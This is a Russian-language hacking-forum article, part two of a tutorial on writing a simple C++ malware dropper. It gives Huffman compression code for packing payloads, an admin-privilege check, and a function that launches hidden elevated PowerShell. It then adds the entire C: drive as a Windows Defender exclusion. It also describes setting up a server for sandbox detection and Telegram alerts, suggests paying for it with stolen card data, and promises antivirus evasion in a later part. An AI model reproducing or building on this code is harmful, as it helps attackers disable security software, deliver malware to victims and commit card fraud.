• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Пишем свой простейший дроппер на плюсах 2

admin

#root
Администратор
Регистрация
20.01.2011
Сообщения
7,665
Розыгрыши
0
Реакции
135
Пришло время для второго раунда нашего погружения в написание дропперов! В прошлый раз мы слегка окунулись в эту тему, поняли, что это за зверь такой и с чем его едят. И тут мы будем копать ещё глубже и делать наш код более многофункциональным.
Я внимательно изучил ваши комментарии, ребята. И знаете что? Вы правы - были у меня косяки. Спасибо, что указали на них. Это ценнее золота! Так что если заметите ещё какие-то спорные моменты или откровенные глупости - не стесняйтесь, пишите.
Ладно, хватит лирики. Давайте приступим к делу. В этот раз мы пойдем другим путем. Будем использовать только широкие строки - никаких полумер! И двигаться будем максимально линейно, шаг за шагом, чтобы даже начинающий смог въехать в тему. Да, я знаю, что некоторые из вас морщатся при виде URLDownloadToFileW. Но знаете что? Пока мы от него не откажемся.
Выбор компресии
Начнем с классики жанра - алгоритма Хаффмана. Этот старичок еще в 50-х годах придумал, как сжимать данные, и до сих пор его метод в строю. Суть в чем? Берем наш код и смотрим, какие символы встречаются чаще. Тем, что мелькают на каждом шагу, даем короткие коды, а редким - подлиннее. В итоге часто используемые символы занимают меньше места, и общий размер файла уменьшается.
Есть еще zlib - это как швейцарский нож в мире компрессии. Не самый эффективный, но простой и надежный. Многие его используют именно из-за простоты, но он изрядно заюзан уже другими проектами.
Теперь давайте про LZMA поговорим. Это вообще монстр компрессии. Работает медленнее, чем другие, зато сжимает неплохо. Его братик это LZO сжимает не сильно, но зато работает быстро.

Код для huffman де / компресии
На гитхабе нашел не особо много удачных примеров на плюсах для реализации данного вида компрессии они либо имели много кода, либо были сложными и частями запутанными поэтому выберем самый приглянувшийся
C++:
/********************************************************************
    The constructor for the HuffmanD object.
    It will set the trees array with empty node.
    And the allocatedoutput is NULL, so that the function getOutput()
    will return NULL/false if there is nothing being compressed.
*********************************************************************/
HuffmanD::HuffmanD(){
    stepscount = 0;
    treescount = 0;

    for (register int i = 0; i < 256; i++){
        *(trees+i)  = new node();
        *(trees_backup+i) = *(trees+i);
        *(leaves+i) = *(trees+i);
        *(STEPS+i)  = 0;
    }
    memset(nodes, 0, 256*sizeof(node));
    allocatedoutput = NULL;
}


/********************************************************************
    This function will decompress the file. It will first get the
    neccessary info on how to construct back the tree from the header
    of the Input file.
    This is how the structure of the Input file created by the
    compressor.
                        [ The number of trees       ]
                        [ Characters                ]
                        [ The deepness of the tree  ]
                        [ Output size               ]

*********************************************************************/
int HuffmanD::Decompress(UCHAR *input, int inputlength){ //input = file content, inputlenght = file size.
    UCHAR *stop = input + inputlength; //points to the last byte of file
    register UCHAR *inptr = input; //inptr will be used to navigate inside the array

    treescount = *inptr;  // get the treescount from the file header
    inptr++;
    treescount++; // trees count is always +1

    node **tptr = trees;
    int outsize;

    //gets all the char from the input file
    for (register int i = 0; i < treescount; i++){
        (*tptr)->chr = *inptr;
        inptr++; // go forward
        tptr++;
    }
    //printf("treescount: %d\n", treescount);

    stepscount = *inptr;
    //printf("stepscount: %d\n", stepscount);

    inptr++;
    int *sptr = STEPS;
    for (register int i = 0; i < stepscount; i++){
        (*sptr) = *inptr;
        inptr++;
        sptr++;
    }

    //printf("outsize = *inptr << 24: %d\n", *inptr << 24);
    //printf("outsize ^= *(inptr+1) << 16: %d\n", *(inptr+1) << 16);
    //printf("outsize ^= *(inptr+2) << 8: %d\n", *(inptr+2) << 8);
    //printf("outsize ^= *(inptr+3): %d\n", *(inptr+3));

    outsize  = *inptr << 24;  // xor
    outsize ^= *(inptr+1) << 16;
    outsize ^= *(inptr+2) << 8;
    outsize ^= *(inptr+3);
    inptr+=4;
    //printf("outsize: %d\n", outsize);

    allocatedoutput = new UCHAR[outsize+10]; // allocate output

    MakeHuffmanTree();

    setCodeAndLength(*trees, 0,0);  // initialize leaves - set their codes and code lengths

    register UCHAR *outptr = allocatedoutput;
    int bit = 0;
    register node *nptr ;
    register int b;
    while(inptr <= stop){  // decompress
        nptr = *trees; // root
        while(nptr->codelength == 0){
            b = ((*inptr) >> bit) &1;
            nptr = (b > 0) ? nptr->right :  nptr->left;
            inptr+=( (bit >> 2) & (bit >> 1) & bit) & 1;
            bit++;
            bit&=7;
        }
        (*outptr) = nptr->chr;
        outptr ++;
    }

    return outsize;
}

/********************************************************************
    Generate the big huffman tree with the nodes in the trees array

    In the while loop below,
    It will create a new node and store it in the nodes array,
    which stores the two nodes taken from the trees in reversed order
    and the sum of total count of its child.

    It will try to relocate the node that inside the tree to a better
    place.
*********************************************************************/
void HuffmanD::MakeHuffmanTree(){
node *n;
    node *nptr2 = nodes;
    node **backupptr;
    node **tptr = trees;
    stepscount = 0;
    while (treescount > 1)  // merge trees until only 1 remains
    {
        n = nptr2;
        nptr2++;
        tptr = trees+treescount;
        backupptr = trees_backup+treescount;

        n->right = *(tptr-2);
        n->left = *(tptr-1);

        //preparing pointers for the next loop
        *(tptr-1) = *(backupptr-1);
        *(tptr-2) = n;
        treescount--;

        moveTreesToRight(trees+(*(STEPS+stepscount)));  //move the nodes based on the frequency.
        stepscount++;
    }
}

/********************************************************************
    This function will set the code and path to the last leaf if
    each tree.
    For example: HUFFMAN
    Char    Count   Code    CodeLenght
    H       1       000     3
    U       1       100     3
    F       2       10      2
    M       1       01      2
    A       1       011     3
    N       1       111     3

               6
          0/       \1
          3         3
       0/  \       / \1
       2    \    0/   2
     0/ \1   \1  /  0/ \1
     H   U   F   M   A   N
*********************************************************************/
void HuffmanD::setCodeAndLength(node *n, int path, int level){
    bool leaf = true;
    if (n->right){
        setCodeAndLength(n->right, path ^ (1 << level), level+1);
        leaf = false;
    }
    if (n->left){
        setCodeAndLength(n->left, path, level+1);
        leaf = false;
    }
    if (leaf){ //the last leaf that is H,U,F,M,A,N
        n->codelength = level;
        n->code = path;
    }
}

/********************************************************************
    Exchange the location of the node in the parameter with
    the node at the end of the tree
*********************************************************************/
void HuffmanD::moveTreesToRight(node **toTree){
    node *a, *b;
    register node **ptr = trees+treescount-1;
    register node **_toTree = toTree;
    while (ptr > _toTree){
        a = *(ptr-1);
        b = *(ptr);
        *(ptr-1) = b;
        *(ptr) = a;
        ptr--;
    }
}

/********************************************************************
    return the output pointer
*********************************************************************/
UCHAR *HuffmanD::getOutput(){
    if (allocatedoutput)
        return allocatedoutput;
    return NULL;
}


//Компрессия

#ifndef HUFFMAN_H
#define HUFFMAN_H

#include <stdio.h>
#include <windows.h>

class huffman{
private:
class node{
 public:
node *left, *right;
int count;       // frequency
        int code;        // the code or path to it. eg, 11010
        int codelength;  // the number of bits taken. eg, 11010 is 5 bits
        UCHAR chr;        // the actual character is being compress
        node(void)  {memset(this, 0, sizeof(node));} // constructor
        ~node() {
if (left) {delete left; left = NULL;}
if (right) {delete right; right = NULL;}
        }
    };
node *trees[256];  // Array of trees,
    node *leaves[256]; // array of leaves, contains ASCII char that being compressed
    // ref. count, later code and codelength too. It is a reference to original trees above
    node *trees_backup[256];
int STEPS[256];    // as the tree is constructed, this stores exact steps (movings) of the last tree
    int stepscount;
node nodes[256];

void MakeHuffmanTree();

int treescount;
UCHAR *allocatedoutput;
void setCodeAndLength(node *, int, int);   // set code and codelength of the leaves
    static int compareFrequency(const void *A, const void *B); // sorting, highest frequency first
    void moveTreesToRight(node **toTree);

void tryToRelocate();
void moveToTop();
public:
 huffman();
int Compress(UCHAR *input, int inputlength);

UCHAR *getOutput(); // get the actual compreess data
    int getLastError();
};

#endif

/********************************************************************
    The constructor for the huffman object.
    It will set the trees array with empty node.
    And the allocatedoutput is NULL, so that the function getOutput()
    will return NULL/false if there is nothing being compressed.
*********************************************************************/
huffman::huffman(){
stepscount = 0;
treescount = 0;

for (register int i = 0; i < 256; i++){
*(trees+i)  = new node();
*(trees_backup+i) = *(trees+i);
*(leaves+i) = *(trees+i);
*(STEPS+i)  = 0;
    }
memset(nodes, 0, 256*sizeof(node));
 allocatedoutput = NULL;
}

/********************************************************************
    This function will compress the unsigned char array that is
    being pass in in the parameter. You can get the compressed
    version of the unsigned char array by calling the getOutput()
    function.
    This function will return the compressed size.
*********************************************************************/
int huffman::Compress(UCHAR *input, int inputlength){ //input = file content, inputlenght = file size.
    register UCHAR *inptr = input;
UCHAR *stop = input+inputlength;  // ptr to the end of input file
    allocatedoutput = new UCHAR[5*inputlength];

allocatedoutput = allocatedoutput;
int byteswritten = 0;
register UCHAR *outptrX = allocatedoutput;

/********************************************************************
    Get the Count for each Character. Store it in the trees array
*********************************************************************/
    //printf("Char\tCount\n");
    while (inptr != stop){
//ptr to location of array of nodes-> variable
       (*(trees+*inptr))->count++;
(*(trees+*inptr))->chr = (*inptr);

//printf("%c\t%d\n", (*inptr), (*(trees+*inptr))->count);
       inptr++;
    }

/********************************************************************
    Sort the arrays by the highest count/frequency first
*********************************************************************/
    qsort(trees, 256, sizeof(node*), compareFrequency);

/********************************************************************
    Write down treescount at the begining of the output file
    (for decompression)
*********************************************************************/
    for (register int i = 0; i < 256; i++) // get the trees count
       if ((*(trees+i))->count > 0)
 treescount++;
 else break;

//printf("\ntresscount:%d\n", treescount);
    (*outptrX) = treescount-1;
    ++outptrX;

/********************************************************************
    Write down all the characther exist in the tree. Only one of it.
    NO DUPLICATIONS.
*********************************************************************/
    for (register int i = 0; i < treescount; i++){
*outptrX = (*(trees+i))->chr;
//printf("%c\t%c \n", (*(outptrX)), (*(trees+i))->chr);
        ++outptrX;
    }

/********************************************************************
    Make Huffman Tree and write the stepscounts to outPtrX
*********************************************************************/
    MakeHuffmanTree();

// write steps
    //printf("stepscount:%d\n", stepscount);
    *outptrX = stepscount;
    outptrX++;

for (register int i = 0; i < stepscount; i++){
*outptrX = *(STEPS+i);
        outptrX++;
    }

/********************************************************************
    Write the original input file size.
    By using BitShift, it helps to decrese the size to store it.
*********************************************************************/
    //printf("inputlength >> 24: %d\n", inputlength >> 24);
    //printf("inputlength >> 16: %d\n", inputlength >> 16);
    //printf("inputlength >> 8: %d\n", inputlength >> 8);
    //printf("inputlength: %d\n", inputlength);

    *outptrX     =  inputlength >> 24;  // write original stream's length
    *(outptrX+1) =  inputlength >> 16;
*(outptrX+2) =  inputlength >> 8;
*(outptrX+3) = inputlength;
outptrX+=4;

/********************************************************************
    Create leaves with the proper code and codelength
*********************************************************************/
    setCodeAndLength(*trees, 0,0); // assign code and codelenght to the leaf

    // compression
    int bitpath, bitswritten, outbitswritten = 0;
 register int i, bitcount;

/********************************************************************
    Writing the code and code length to each char into outPtrX
*********************************************************************/
    inptr = input; //inptr pointing to the start of the EXE file
    *outptrX = 0;
 while (inptr != stop){
bitpath = (*(leaves+*inptr))->code;
bitcount = (*(leaves+*inptr))->codelength;
bitswritten =0;
for (i = 0; i < bitcount; i++){
//printf("((bitpath >> bitswritten)&1) << outbitswritten: %d\n", ((bitpath >> bitswritten)&1) << outbitswritten);
            (*outptrX) ^= ((bitpath >> bitswritten)&1) << outbitswritten;
            bitswritten++;
(*(outptrX+1)) = '\0'; //null ptr
            outptrX += ((outbitswritten >> 2) & (outbitswritten >> 1) & outbitswritten) &1;
outbitswritten++; // bytes written growing with each 8 written bits ^^
            outbitswritten&=7;
        }
        inptr++;
    }

/********************************************************************
    Get the amount of bytes written. The size of the
    Compressed data.
*********************************************************************/
    byteswritten = outptrX - allocatedoutput;
if (bitswritten > 0) // if necessary, increase the bytes written
        byteswritten++;   // e.g. if written 1 bit, even 1 bit needs whole byte
    return byteswritten;
}

/********************************************************************
    Generate the big huffman tree with the nodes in the trees array

    In the while loop below,
    It will create a new node and store it in the nodes array,
    which stores the two nodes taken from the trees in reversed order
    and the sum of total count of its child.

    It will try to relocate the node that inside the tree to a better
    place.
*********************************************************************/
void huffman::MakeHuffmanTree(){
register node *n;
register node **endtree = trees+treescount-1; //pointer to end of trees
    memset(nodes, 0, sizeof(node)*256);
node *nptr = nodes;
node **backupptr = trees_backup+treescount-1;
while (treescount > 1){ // while trees count is > than > 1
       n = nptr; //ptr to new node from Nodes array
       nptr++;

n->right = *(endtree-1);    //right is usually hold the higher frequency
       n->left = *endtree;         //left is usually the lesser frequency

       // the sum of total count from both left and right node are summed and assigned to new tree
       n->count = n->right->count + n->left->count;

//assigning pointers to prepare for the next loop
       *endtree = *backupptr;
*(endtree-1) = n;
--treescount;
       --endtree;
       --backupptr;
*(STEPS+stepscount) = treescount;

//try to relocate the nodes in the trees array
       tryToRelocate();
 stepscount++;
    }
}

/********************************************************************
    This function will set the code and path to the last leaf if
    each tree.
    For example: HUFFMAN
    Char    Count   Code    CodeLenght
    H       1       000     3
    U       1       100     3
    F       2       10      2
    M       1       01      2
    A       1       011     3
    N       1       111     3

               6
          0/       \1
          3         3
       0/  \       / \1
       2    \    0/   2
     0/ \1   \1  /  0/ \1
     H   U   F   M   A   N
*********************************************************************/
void huffman::setCodeAndLength(node *n, int path, int level){
bool leaf = true;
if (n->right){
setCodeAndLength(n->right, path ^ (1 << level), level+1);
leaf = false;
    }
if (n->left){
setCodeAndLength(n->left, path, level+1);
leaf = false;
    }
if (leaf){ //the last leaf that is H,U,F,M,A,N
       n->codelength = level;
n->code = path;
    }
}

/********************************************************************
    Try to move the all nodes to a better location in the tree
    based on the frequency.
*********************************************************************/
void huffman::tryToRelocate(){
register node **ptr = trees+treescount-2;
register node **ourtree = trees+treescount-1;
register node **begin = trees;
 while(ptr >= begin){
 if (ourtree != ptr)
if (((*ptr)->count > (*ourtree)->count) || (ptr == begin)){
             moveTreesToRight(ptr);
 return;
          }
          ptr--;
    }
}

/********************************************************************
    Exchange the location of the node in the parameter with
    the node at the end of the tree
*********************************************************************/
void huffman::moveTreesToRight(node **toTree){
 node *a, *b;
register node **ptr = trees+treescount-1;
register node **_toTree = toTree;
node **end = trees+treescount;
 while (ptr > _toTree){
a = *(ptr-1);
       b = *(ptr);
if (a->count >= b->count) {
*(STEPS+stepscount) = treescount-(end-ptr);
 return;
       }
*(ptr-1) = b;
       *(ptr) = a;
       ptr--;
    }
*(STEPS+stepscount) = treescount-(end-ptr);
}


/********************************************************************
    return the output pointer
*********************************************************************/
UCHAR *huffman::getOutput(){
if (allocatedoutput)
return allocatedoutput;
 return NULL;
}

/********************************************************************
    This function will sort the trees array in the highest
    frequency first
*********************************************************************/
int huffman::compareFrequency(const void *A, const void *B){ // sorting, we want to sort descending
    if((*(node**)A)->count == (*(node**)B)->count)     // A->count == B->count ?
       return 0;
return (*(node**)A)->count < (*(node**)B)->count ? 1 : -1;// no? so if A->count < B->count give 1 else -1
}

Huffman компрессия состав:
  • Структура Node: Это наш основной кирпичик. Тут храним символ, его частоту и указатели на левого и правого потомка. Это основа нашего дерева Хаффмана.
  • Структура Compare: Эта штука нужна для сортировки узлов в очереди с приоритетом. Чем меньше частота, тем выше приоритет.
  • Функция HuffmanTree: Здесь происходит вся магия построения дерева. Сначала считаем частоты символов, потом складываем их в кучу и собираем дерево, объединяя узлы с наименьшими частотами.
  • Функция encode: Тут всё просто: берем исходный текст и заменяем каждый символ на его код из нашей таблицы кодов.
  • Функция decode: А вот это уже интереснее. Идем по закодированной строке бит за битом, спускаясь по дереву. Как только попадаем в лист - записываем символ и возвращаемся в корень.
Как же это работает
Сначала считаем, сколько раз каждый символ встречается в тексте.
Строим дерево Хаффмана. Символы, которые чаще встречаются, будут ближе к корню.
Генерируем коды для каждого символа. Идём влево - пишем "0", вправо - "1".
Кодируем текст, заменяя каждый символ на его код.
Для декодирования идём по дереву, пока не упрёмся в лист. Это и будет наш символ.
Этот код не самый оптимальный, конечно. В реальном дроппере можно ещё поднапрячься и оптимизировать. Но для понимания сути - самое то.
Какие есть уровни в системе
Посмотреть вложение 88584

На схеме показаны кольца защиты операционной системы. Это как слои луковицы, только в компьютере. Самый верхний слой, третий уровень - это где крутятся обычные программы. Ниже, на втором уровне, работают драйверы устройств. А в самом центре, на нулевом уровне - ядро системы, самая важная часть.
Такая структура - не просто для красоты. Она нужна, чтобы защитить систему от всяких пакостей. Идея в том, чтобы вредоносные программы не могли добраться до самого важного - ядра системы. Это как в средневековом замке: простые люди в деревне вокруг, стража на стенах, а король в самой защищенной башне.
Теперь, когда мы знаем про эти уровни, становится понятно, почему даже с правами администратора нельзя просто так взять и начать менять ядро системы. Система так устроена, чтобы даже случайно нельзя было наломать дров.
Но некоторые программы все-таки нуждаются в повышенных правах. Например, установщики или обновления системы. Поэтому есть способы запросить эти права. Можно поменять манифест программы - это такой файл, который говорит системе, какие права нужны программе. Или можно назвать программу как-то особенно, например, Installer.exe, Setup.exe или Update.exe. Система видит такие имена и думает: "О, это важная штука, наверное, ей нужно больше прав".
C++:
bool IsElevated()
{
    try
    {
        HANDLE hToken;
        BOOL runWithAdmin = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        {
            TOKEN_ELEVATION elevation;
            DWORD dwSize;
            if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize))
            {
                runWithAdmin = elevation.TokenIsElevated;
            }
        }
        if (hToken) {
            CloseHandle(hToken);
        }
        return runWithAdmin;

    }
    catch (...)
    {
        return FALSE;
    }
}
Здесь мы получаем информацию о текущем процессе и смотрим с админ правами он или нет.
Добавляем проверку в главный метод и идём дальше.
C++:
if(!IsElevated()) {
     exit(EXIT_FAILURE);
 }
Добавление исключения в виндовс дефендер

Для того чтобы добавить исключение в виндовс дефендер нам понадобиться запустить либо повершелл команду либо выкидывать дополнительно batch файл/ другие подобные ему скрипты. Реализацию выполнения poweshell команды сделаю следующей:
C++:
void executePoweShellCommand(const std::wstring& cmd) {
    std::wstring fullCmd = L"powershell.exe -Command \"& {Start-Process powershell.exe -WindowStyle Hidden -ArgumentList '\"";
    fullCmd += cmd;
    fullCmd += L"\' -Verb RunAs}\"";
    _wsystem(fullCmd.c_str());
}
Всё очень просто и поймёт даже школьник что этот код запускает poweshell.exe который в свою очередь запускает от админ прав вашу команду.
Итоговый код начала получается такой:
C++:
if(!IsElevated()) {
        exit(EXIT_FAILURE);
}
executePoweShellCommand(StringToWString("Add-MpPreference -Force -ExclusionPath \"C://\""));
C++:
std::string WstringToString(const std::wstring& wstr) {
        if (!wstr.empty()) {
            int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), static_cast<int>(wstr.length()), nullptr, 0, nullptr, nullptr);
            if (size_needed > 0) {
                std::string result(size_needed, 0);
                WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), static_cast<int>(wstr.length()), &result[0], size_needed, nullptr, nullptr);
                return result;
            }
        }
        return "";
    }

std::wstring StringToWString(const std::string& str) {
        if (str.empty()) {
            return L"";
        }
        int wstrSize = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast<int>(str.length()), nullptr, 0);
        if (wstrSize == 0) {
            return L"";
        }
        std::wstring wstr(wstrSize, L'\0');
        MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast<int>(str.length()), &wstr[0], wstrSize);
        return wstr;
    }
Здесь как и просили я прислушался и сделал конвертацию как с треда, который вы все показывали.
Повершелл запускает новый процесс как мы и планировали и добавляет в исключение весь системный диск если у нас процесс запущен с админ правами.
Посмотреть вложение 88586
Помимо такой тупой и максимально простой деактивации дефендера можно использовать и драйвера, мапперы и тд, но это явно не для новичков и не как не вяжется с этим.
Приступаем к настройке и установке сервера
Наконец-то мы добрались до чего долго шли, а именно до простейшей выдачи файла с сервера и принятии им нескольких аргументов. Сервер у нас будет выполнять функцию проверялки на виртуальную среду / песочницу и так же сохранять информацию и отправлять уведомления вам в телеграмм. Приступаем к выбору и установке сервера, его можно купить с помощью cvv. подойдет любой сервер на бубунте. В начальном этапе у вас будет тупо голый сервер и возможно даже с необновлёнными пакетами, поэтому надо всё делать по порядку. Прописываем команды и апдейтимся

Далее устанавливаем nginx чтобы у нас появились пхп скрипты на сайте

После установки проверяем работает ли наш сервачок или нет, переходим по айпи вашего сервера http:// и смотрим должна была появиться дефолтная страница nginx', ну а так - же можно проверить командой sudo systemctl status nginx, самый простой способ.
Php по дефолту у нас не будет установленный поэтому его тоже придётся накатывать -> sudo apt-get install php8.1-fpm -y, потом так же проверяем статус работы -> sudo systemctl status php8.1-fpm, вместо 8.1 ваша версия php после установки, её можно посмотреть через php -V.
Посмотреть вложение 88587
Для поиска дефолтного конфига и его редактирования нам нужно будет написать nginx -t
Посмотреть вложение 88588
как мы видим конфигурации(кфг) лежат в etc/nginx/, у меня допустим лежали /etc/nginx/sites-available/default и там я редактировал конфиг для своего сервера.
Но мы ещё не завершили настройку полностью у нас не имеется доступа к записи файлов в пхп скрипте и многого другого, по типу скачки файла с ссылки(CURL не предустановлен по дефолту).
sudo chown -R www-data:www-data путькпапке
Иногда файлы лежат в /var/www/html иногда в /usr/share/nginx/html, проверить это можно удалив index.html или просто внимательно посмотрев конфигурацию.
Устанавливаем CURL
apt-get install php8.1-curl, так же как и выше меняете 8.1 на свою версию пхп. Далее я бы пошёл изменил конфиг чтобы нельзя было читать .txt / .zip / .exe файлы на вашем сайте, сделать это можно просто в конфиг добавляем
Код:
 location ~* \.(txt|zip|exe)$ {
        return 404;
}
PHP - это язык, который многие разработчики используют для создания серверной части веб-приложений. Он действительно имеет свои преимущества, особенно когда речь идет о быстром прототипировании или создании небольших и средних проектов.
Синтаксис PHP в некоторых аспектах напоминает Java и C-подобные языки, что облегчает переход для разработчиков, знакомых с этими языками. Например, структуры управления потоком (if, for, while) очень похожи.
Одна из отличительных черт PHP - это обозначение переменных. Все переменные начинаются с символа $, что делает их видимыми в коде. Например:
$name = "John";
$age = 30;
Для конкатенации строк в PHP используется точка (.) вместо плюса (+), который применяется во многих других языках. Это может показаться необычным на первый взгляд, но быстро входит в привычку:
$fullName = $firstName . " " . $lastName;

Пишем свой простой сервачок и знакомимся с пхп языком в ближайщем будущем. Для меня пхп максимально удобный понятный да и в целом будет получше питона для того же сервера. жрёт мало делает много, синтаксис чем то похож на java / c подобные, да и функции почти такие же, в целом лапочка и хороший дед. некоторые даже удобнее в разы. Например для того чтобы сложить строку нужно написать строчку, а любые переменные кроме массивов обозначаются как $переиенная. А для сложения вместо + используется точка.

В третьей части приступим к написанию скрипта сервера, а так же отстуку в телеграмм ну и знатно зарикроллим, для тех кто не вкатил это Rick Astley Never Gona Give Up(можете загуглить) вирустотал и антивирусников. До сисколов нам ещё не особо далеко, но сначала напишем всё таки сервер.

by: MoilerRenoiler
 
Activity
So far there's no one here
Сверху Снизу